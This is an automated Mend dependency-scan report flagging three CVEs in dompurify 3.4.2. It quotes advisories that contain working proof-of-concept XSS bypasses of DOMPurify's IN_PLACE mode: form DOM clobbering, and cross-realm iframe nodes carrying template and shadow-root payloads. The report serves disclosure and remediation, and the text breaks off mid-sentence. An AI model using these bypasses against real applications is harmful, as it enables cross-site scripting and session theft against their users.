dompurify-3.4.2.tgz: 3 vulnerabilities (highest severity is: 6.1)

[mend-bolt-for-github]

Vulnerable Library - dompurify-3.4.2.tgz

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers (Safari, Opera (15+), Internet Explorer (10+), Firefox and Chrome - as well as almost anything else usin

Library home page: https://registry.npmjs.org/dompurify/-/dompurify-3.4.2.tgz

Path to dependency file: /client/package.json

Path to vulnerable library: /client/node_modules/dompurify/package.json

Vulnerabilities

Vulnerability	Severity	CVSS	Dependency	Type	Fixed in (dompurify version)	Remediation Possible**
CVE-2026-49978	Medium	6.1	dompurify-3.4.2.tgz	Direct	https://github.com/cure53/DOMPurify.git - 3.4.7	❌
CVE-2026-49459	Medium	6.1	dompurify-3.4.2.tgz	Direct	https://github.com/cure53/DOMPurify.git - 3.4.6,dompurify - 3.4.6	❌
CVE-2026-49458	Medium	6.1	dompurify-3.4.2.tgz	Direct	https://github.com/cure53/DOMPurify.git - 3.4.6	❌

**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation

Details

CVE-2026-49978

Vulnerable Library - dompurify-3.4.2.tgz

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers (Safari, Opera (15+), Internet Explorer (10+), Firefox and Chrome - as well as almost anything else usin

Library home page: https://registry.npmjs.org/dompurify/-/dompurify-3.4.2.tgz

Path to dependency file: /client/package.json

Path to vulnerable library: /client/node_modules/dompurify/package.json

Dependency Hierarchy:

• ❌ dompurify-3.4.2.tgz (Vulnerable Library)

Found in base branch: develop

Vulnerability Details

If the HTML you give it contains a element, and inside that template there's an element with a shadow DOM attached to it, DOMPurify quietly skips over the shadow contents. Whatever the attacker put in there - an image with an onerror handler, a link with a javascript: URL, even a full script - survives untouched. The moment the application uses that template the way templates are meant to be used (cloning it and inserting the result into the page), the malicious payload comes along and runs as if it had never been sanitized. From there an attacker gets everything XSS normally gets them: session cookies, stored tokens, the ability to act as the user, and the ability to leave persistent payloads behind for the next person who visits. "advisory.pdf" (https://github.com/user-attachments/files/28275600/advisory.pdf) "poc.html" (https://github.com/user-attachments/files/28275708/poc.html)

Publish Date: 2026-06-15

URL: CVE-2026-49978

CVSS 3 Score Details (6.1)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
• Impact Metrics:
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Release Date: 2026-06-15

Fix Resolution: https://github.com/cure53/DOMPurify.git - 3.4.7

Step up your Open Source Security Game with Mend here

CVE-2026-49459

Vulnerable Library - dompurify-3.4.2.tgz

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers (Safari, Opera (15+), Internet Explorer (10+), Firefox and Chrome - as well as almost anything else usin

Library home page: https://registry.npmjs.org/dompurify/-/dompurify-3.4.2.tgz

Path to dependency file: /client/package.json

Path to vulnerable library: /client/node_modules/dompurify/package.json

Dependency Hierarchy:

• ❌ dompurify-3.4.2.tgz (Vulnerable Library)

Found in base branch: develop

Vulnerability Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when "_forceRemove" is called on a parent-less node) Summary When "DOMPurify.sanitize(root, { IN_PLACE: true })" is called and "root" is a "

" whose own attributes carry an event handler ("onmouseover", "onfocus", "onclick", etc.), a single descendant element with a "name=" attribute matching any of the property names "_isClobbered" checks ("nodeName", "setAttribute", "namespaceURI", "insertBefore", "hasChildNodes", "childNodes") is sufficient to bypass attribute sanitization on the root. "_forceRemove" silently no-ops because the root has no parent; the iterator drives on to "_sanitizeAttributes", which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live. This affects current "main" at "89da34e" (the just-landed DOM-clobbering hardening fix at "89da34e" addressed "_sanitizeAttachedShadowRoots" walk traversal, not the main "_sanitizeElements" / "_sanitizeAttributes" pipeline against the iterator-root node). Affected - DOMPurify ≤ 3.4.5, including "main" at "89da34e03ec17868e561f87f3747a9371b61a9e7" - Any caller that does "DOMPurify.sanitize(node, { IN_PLACE: true })" where "node" is built from untrusted HTML (e.g., parsed via "createElement('template').innerHTML = dirty" then "template.content.firstElementChild" handed in) Not affected: - String-input "DOMPurify.sanitize(dirtyString)" — the library builds the DOM itself inside "_initDocument", the root is the cleanly-created document body, and clobber-named children of the body cannot shadow "body" named properties (HTMLBodyElement does not carry "[LegacyOverrideBuiltIns]") - IN_PLACE where the root is not an HTMLFormElement - IN_PLACE where the attacker cannot place a clobber-named child inside the root Vulnerability details Code paths [A] — "_forceRemove" at "src/purify.ts:930-939": const forceRemove = function (node: Node): void { arrayPush(DOMPurify.removed, { element: node }); try { // eslint-disable-next-line unicorn/prefer-dom-node-remove getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null } catch () { remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op } // when the node has no parent }; When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), "getParentNode(node)" returns "null", "null.removeChild(node)" throws, the catch falls to "remove(node)" — which per WebIDL is "Element.prototype.remove.call(node)", and per spec does nothing if the node has no parent. Nothing about "_forceRemove"'s contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place. [B] — "_sanitizeAttributes" at "src/purify.ts:1490-1492": const _sanitizeAttributes = function (currentNode: Element): void { _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null); const { attributes } = currentNode; /* Check if we have attributes; if not we might have a text node / if (!attributes || _isClobbered(currentNode)) { return; // [B] silently skips ALL attribute checks } // for clobbered nodes ... }; The skip at "[B]" is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if "_isClobbered", then "_sanitizeElements" already removed this node, so we will never reach "_sanitizeAttributes" on it." That invariant holds for every non-root node (their "_forceRemove" succeeds in detaching them), but fails for the iterator root in IN_PLACE mode. The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make "_forceRemove" fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have "_sanitizeAttributes" strip attributes from clobbered roots before returning. Iterator call site "src/purify.ts:1850-1864" ignores the boolean return value of "_sanitizeElements": const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body); while ((currentNode = nodeIterator.nextNode())) { _sanitizeElements(currentNode); // returns "true" if killed — IGNORED _sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip ... } If the return value were checked and "_sanitizeAttributes" skipped when the node was "killed," the bug would not exist as a discrete issue — but currently "_sanitizeAttributes" is the only line of defense for a node that "_sanitizeElements" could not actually detach. Why the clobber works In Chromium/WebKit/Firefox, "HTMLFormElement" carries the WebIDL "[LegacyOverrideBuiltIns]" extended attribute on its named-property getter. A descendant element with "name="X"" (or "id="X"", for radio-button-like names) shadows the matching property on the form, including properties inherited from "Element", "Node", and "EventTarget" prototypes. This is the same primitive the just-landed "89da34e" fix addresses for shadow-root traversal, but "_isClobbered"'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix. Verified clobber targets (each name= value independently triggers "_isClobbered"): | "name=" value | property "_isClobbered" checks | typeof on clobbered form | |---|---|---| | "nodeName" | "typeof element.nodeName !== 'string'" | object (an "") | | "setAttribute" | "typeof element.setAttribute !== 'function'" | object (not callable) — but ""/""/"<iframe>" ARE callable; see "Note on callable elements" below | | "namespaceURI" | "typeof element.namespaceURI !== 'string'" | object | | "insertBefore" | "typeof element.insertBefore !== 'function'" | object | | "hasChildNodes" | "typeof element.hasChildNodes !== 'function'" | object | | "childNodes" | "!(element.childNodes && typeof element.childNodes.length === 'number')" | object — "" has no ".length" | | "attributes" | "!(element.attributes instanceof NamedNodeMap)" | object (an "" is not a NamedNodeMap) | | "textContent" | "typeof element.textContent !== 'string'" | object | | "removeChild" | "typeof element.removeChild !== 'function'" | object (non-callable) | | "removeAttribute" | "typeof element.removeAttribute !== 'function'" | object (non-callable) | Any single one of the ten property names in "_isClobbered"'s checklist is sufficient as the bypass trigger. Proof of concept (1) Minimal — runnable in a single browser context <!doctype html> <script src="dist/purify.js"></script> <script> const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.__rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber); // typeof root.nodeName === 'object' (an element), not 'string'. // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null. DOMPurify.sanitize(root, { IN_PLACE: true }); console.log('output:', root.outerHTML); // // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^ document.body.appendChild(root); root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); console.log('handler fired:', window.__rooted === 1); // true </script> (2) End-to-end — Playwright against "main" HEAD const { chromium } = require('playwright'); const path = require('path'); (async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.setContent('<!doctype html>'); await page.addScriptTag({ path: path.resolve('dist/purify.js') }); const result = await page.evaluate(() => { const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.__rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber); DOMPurify.sanitize(root, { IN_PLACE: true }); document.body.appendChild(root); window.__rooted = 0; root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); return { version: DOMPurify.version, output: root.outerHTML, handlerFired: window.__rooted === 1, }; }); console.log(result); await browser.close(); })(); Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD "89da34e"): { version: '3.4.5', output: '', handlerFired: true } (3) Variant matrix — six distinct clobber-target properties Every property name in "_isClobbered"'s typeof checklist works as the bypass trigger: [BYPASS] name="nodeName" → [BYPASS] name="setAttribute" → [BYPASS] name="namespaceURI" → [BYPASS] name="insertBefore" → [BYPASS] name="hasChildNodes" → [BYPASS] name="childNodes" → This makes the fix less of a one-line patch — every property "_isClobbered" checks for the typeof-spoofing pattern needs to be considered. Impact Direct Two distinct impact paths from the same root-attribute-survival primitive: (a) XSS via event-handler attribute on the surviving root. Any consumer that uses "DOMPurify.sanitize(node, { IN_PLACE: true })" where "node" originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is: const t = document.createElement('template'); t.innerHTML = untrustedHtml; DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true }); container.appendChild(t.content.firstElementChild); If "untrustedHtml" is "…", the resulting node has the "onmouseover" attribute intact when re-inserted into the live document. (b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The "_sanitizeAttributes" early-return at ":1490" skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive: - "action="javascript:..."" and "formaction="javascript:..."" — URI validation at ":1413" never runs. A user click on a submit button inside the sanitized form navigates to the "javascript:" URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented. - "id=""" — the DOM-clobbering guard at ":1352-1359" ("SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)") lives inside "_sanitizeAttributes" and is skipped. An attacker can therefore land "id="cookie"", "id="body"", "id="head"", "id="firstChild"", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does "document.cookie", "document.body", etc. - "target="_top"", "autofocus", "formenctype", "formmethod" — all survive untouched. - Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd "oncontentvisibilityautostatechange") survive on the clobbered root via the same skip; the per-name allow-list at ":1361-1364" never runs. Verified — full attribute set survives on a single payload (PoC): const root = document.createElement('form'); root.setAttribute('action', 'javascript:alert(1)'); root.setAttribute('target', '_top'); root.setAttribute('onclick', 'alert(2)'); root.setAttribute('onmouseover', 'alert(3)'); root.setAttribute('autofocus', ''); root.setAttribute('formaction', 'javascript:alert(4)'); root.setAttribute('id', 'cookie'); // DOM-clobbering primitive root.innerHTML += ''; DOMPurify.sanitize(root, { IN_PLACE: true }); console.log(root.outerHTML); // <form action="javascript:alert(1)" target="_top" onclick="alert(2)" // onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)" // id="cookie"> (c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's "HTMLFormElement" named-property cache appears to retain the named child reference even after the child's "name" attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's "name="nodeName"" attribute is correctly stripped (the output shows "" with no attributes), yet "typeof form.nodeName === 'object'" is still true and the input element is still returned. Calling "DOMPurify.sanitize(sameNode, { IN_PLACE: true })" a second time hits the same "_isClobbered" → "_forceRemove" → "_sanitizeAttributes" early-return path. The only effective recovery is serialize-then-reparse: const root = parseAttackerHtml(); // form with input name="nodeName" child DOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive DOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive const recovered = (() => { const t = document.createElement('template'); t.innerHTML = root.outerHTML; // forces a fresh parse const r = t.content.firstElementChild; DOMPurify.sanitize(r, { IN_PLACE: true }); return r; })(); // recovered.outerHTML === '' ← finally clean A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip. (d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets "SAFE_FOR_TEMPLATES: true" to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving "{{…}}" / "<%…%>" / "${…}" syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same "_sanitizeAttributes" pass that early-returns on clobbered roots (":1572-1576"). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates. Verified — same PoC structure, with "SAFE_FOR_TEMPLATES: true": const root = document.createElement('form'); root.setAttribute('title', '{{evil}}'); root.setAttribute('onmouseover', 'window.__x=1'); const c = document.createElement('input'); c.setAttribute('name', 'nodeName'); root.appendChild(c); DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true }); console.log(root.outerHTML); // // ^^^^^^^^^^^^^^^^ template syntax survives This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed). (Text-node content inside the form is still scrubbed correctly — "_scrubTemplateExpressions" at ":1868-1870" walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.) Indirect / second-order - DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML). - Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons. - Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does "el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })". The outer "el" is fine (it's not the form), but if the first child of "el" is taken as the sanitization root in a different code path, the bypass triggers. Why current "main" is also vulnerable Commit "89da34e" ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens "_sanitizeAttachedShadowRoots" via three new cached prototype getters ("getShadowRoot", "getNodeName", "getNodeType") and an "_isClobbered" extension that checks "element.childNodes.length". The fix is correct for its scope — shadow-root traversal — but does not change "_forceRemove"'s parent-less-node behavior or "_sanitizeAttributes"'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD "89da34e" and still succeeds. Suggested fix Two minimal-risk options: 1. Make "forceRemove" honest about failure: return whether the node was actually detached, and have the iterator call site honor that. const forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch () { try { remove(node); } catch () {} return node.parentNode === null && / but still attached to itself */ false; } }; Then at ":1855", if "_sanitizeElements" returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.) 2. Strip attributes inside "_sanitizeAttributes" for clobbered roots: when "_isClobbered(currentNode)" is true at ":1490", instead of early-returning, iterate "currentNode.attributes" (using the cached "getAttributes" if you add one) and remove each via "removeAttribute". This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root. 3. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not "_isClobbered". If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe." Note on callable elements In Chromium and WebKit, "HTMLEmbedElement", "HTMLAppletElement", "HTMLIFrameElement", and "HTMLScriptElement" have "typeof === 'function'" because they expose plugin/iframe "[[Call]]" traps at the WebIDL level. A "name="setAttribute"" child of one of these tags spoofs the "setAttribute typeof === 'function'" check — but only matters for the attribute re-set path at ":1619", not the bypass demonstrated here (which uses "nodeName" and friends). The callable-element vector is worth checking separately as a potential "SAFE_FOR_TEMPLATES"-bypass primitive; the present report does not depend on it.

Publish Date: 2026-06-15

URL: CVE-2026-49459

CVSS 3 Score Details (6.1)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
• Impact Metrics:
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-r47g-fvhr-h676

Release Date: 2026-06-15

Fix Resolution: https://github.com/cure53/DOMPurify.git - 3.4.6,dompurify - 3.4.6

Step up your Open Source Security Game with Mend here

CVE-2026-49458

Vulnerable Library - dompurify-3.4.2.tgz

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers (Safari, Opera (15+), Internet Explorer (10+), Firefox and Chrome - as well as almost anything else usin

Library home page: https://registry.npmjs.org/dompurify/-/dompurify-3.4.2.tgz

Path to dependency file: /client/package.json

Path to vulnerable library: /client/node_modules/dompurify/package.json

Dependency Hierarchy:

• ❌ dompurify-3.4.2.tgz (Vulnerable Library)

Found in base branch: develop

Vulnerability Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound "instanceof" checks CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound "instanceof" checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm) Summary "DOMPurify.sanitize(node, { IN_PLACE: true })" accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, "instanceof HTMLFormElement", "instanceof NamedNodeMap", "instanceof DocumentFragment", and "instanceof Element" all return "false" for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm ""'s ".content" is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node. Affected - DOMPurify ≤ 3.4.5, including "main" at "89da34e03ec17868e561f87f3747a9371b61a9e7" - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created "<iframe srcdoc>") and then calls "DOMPurify.sanitize(foreignNode, { IN_PLACE: true })" against a sanitizer instance bound to a different realm Not affected: - String-input "DOMPurify.sanitize(dirtyString)" — the library calls its own parser inside "_initDocument", the resulting nodes belong to the sanitizer's own realm, and the "instanceof" checks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance Vulnerability details The unifying defect is that "_isClobbered", "_sanitizeShadowDOM"'s template-content recursion, and "_sanitizeAttachedShadowRoots" all use realm-bound "instanceof" checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects. [A] — "_isClobbered" gates on "element instanceof HTMLFormElement" "src/purify.ts:1120-1140": const _isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); }; A foreign-realm "" is an instance of the foreign realm's "HTMLFormElement", not the parent realm's. The leading "instanceof" short-circuits to "false", so "_isClobbered" returns "false" regardless of the named-property clobbering present on the form. The follow-on "_sanitizeAttributes" then iterates "currentNode.attributes" — which itself can be a clobbered value (a foreign-realm "" whose "name="attributes"" shadows the form's real "NamedNodeMap"). The attribute walk traverses the wrong collection and never reaches the actual "onmouseover" / "onclick" / "action=javascript:" attributes on the form root. [B] — "_sanitizeShadowDOM" gates template recursion on "content instanceof DocumentFragment" "src/purify.ts:1660-1662": while ((shadowNode = shadowIterator.nextNode())) { ... _sanitizeElements(shadowNode); _sanitizeAttributes(shadowNode); /* Deep shadow DOM detected */ if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound _sanitizeShadowDOM(shadowNode.content); } } The same check exists in the main iterator at ":1861-1862": if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound _sanitizeShadowDOM(currentNode.content); } For a "" element constructed in a foreign realm, "template.content" is a "DocumentFragment" from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled "" etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does "node.cloneNode(true)" / "importNode(template.content, true)" / inserts it into the live DOM, the embedded handler fires. [C] — "_sanitizeAttachedShadowRoots" gates recursion on "sr instanceof DocumentFragment" "src/purify.ts:1702-1712": if (nodeType === NODE_TYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound _sanitizeAttachedShadowRoots(sr); _sanitizeShadowDOM(sr); } } For a host element constructed in a foreign realm with "host.attachShadow({mode:'open'})", "host.shadowRoot" is a foreign-realm "ShadowRoot" (which extends the foreign realm's "DocumentFragment"). The "instanceof DocumentFragment" against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content. The mismatch DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's "_isNode(dirty)" at ":1750" is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. "[A]" / "[B]" / "[C]" each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., "nodeType === 11" for "DocumentFragment", tag-name comparison for "HTMLFormElement" recognition). Proof of concept Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm "DOMPurify.sanitize(node, { IN_PLACE: true })" and verifies that handler execution succeeds on subsequent activation. PoC 1 — cross-realm form clobbering survives const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form); DOMPurify.sanitize(div, { IN_PLACE: true }); window.__dompurify_xss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.__dompurify_xss === 1 }; document.body.appendChild(iframe); Observed (Chromium 148, DOMPurify 3.4.5, HEAD "89da34e"): { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "

", "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1", "xssExecuted": 1 } } PoC 2 — cross-realm "" content is never walked const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); const tpl = idoc.createElement('template'); tpl.innerHTML = '<img src="x" onerror=' + '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">'; div.appendChild(tpl); DOMPurify.sanitize(div, { IN_PLACE: true }); window.__dompurify_template_xss = 0; const clone = idoc.importNode(tpl.content, true); document.body.appendChild(clone); // fires onerror }; document.body.appendChild(iframe); Observed: { "before": { "templateIsMainRealmHTMLTemplateElement": false, "contentIsMainRealmDocumentFragment": false, "contentIsForeignRealmDocumentFragment": true }, "after": { "templateInnerHTMLAfter": "", "xssExecuted": 1 } } PoC 3 — cross-realm attached shadow root is never walked const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const host = idoc.createElement('div'); host.attachShadow({ mode: 'open' }).innerHTML = 'safe text'; DOMPurify.sanitize(host, { IN_PLACE: true }); window.__dompurify_shadow_xss = 0; document.body.appendChild(host); // shadow activates, onerror fires }; document.body.appendChild(iframe); Observed: { "before": { "hostIsMainRealmElement": false, "shadowRootIsMainRealmDocumentFragment": false, "shadowRootIsForeignRealmDocumentFragment": true }, "after": { "shadowRootInnerHTMLAfter": "safe text", "xssExecuted": 1 } } All three PoCs run cleanly against "dist/purify.js" built from current "main" HEAD "89da34e". Impact Direct Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for "" isolation, "document.write" sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with "IN_PLACE: true" is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in: - Form root attributes — "onmouseover", "onfocus", "onclick", "action="javascript:..."", "formaction=", "target=", "id=" (DOM-clobbering target), and the full attribute-allowlist set, because "_sanitizeAttributes" walks a clobbered ".attributes" instead of the real "NamedNodeMap". - "" content — "", "<script>", "<iframe srcdoc>", etc., because the inert template tree is never recursed into. - Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely. XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with "importNode" / "cloneNode(true)" / "node.appendChild(template.content)" into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and "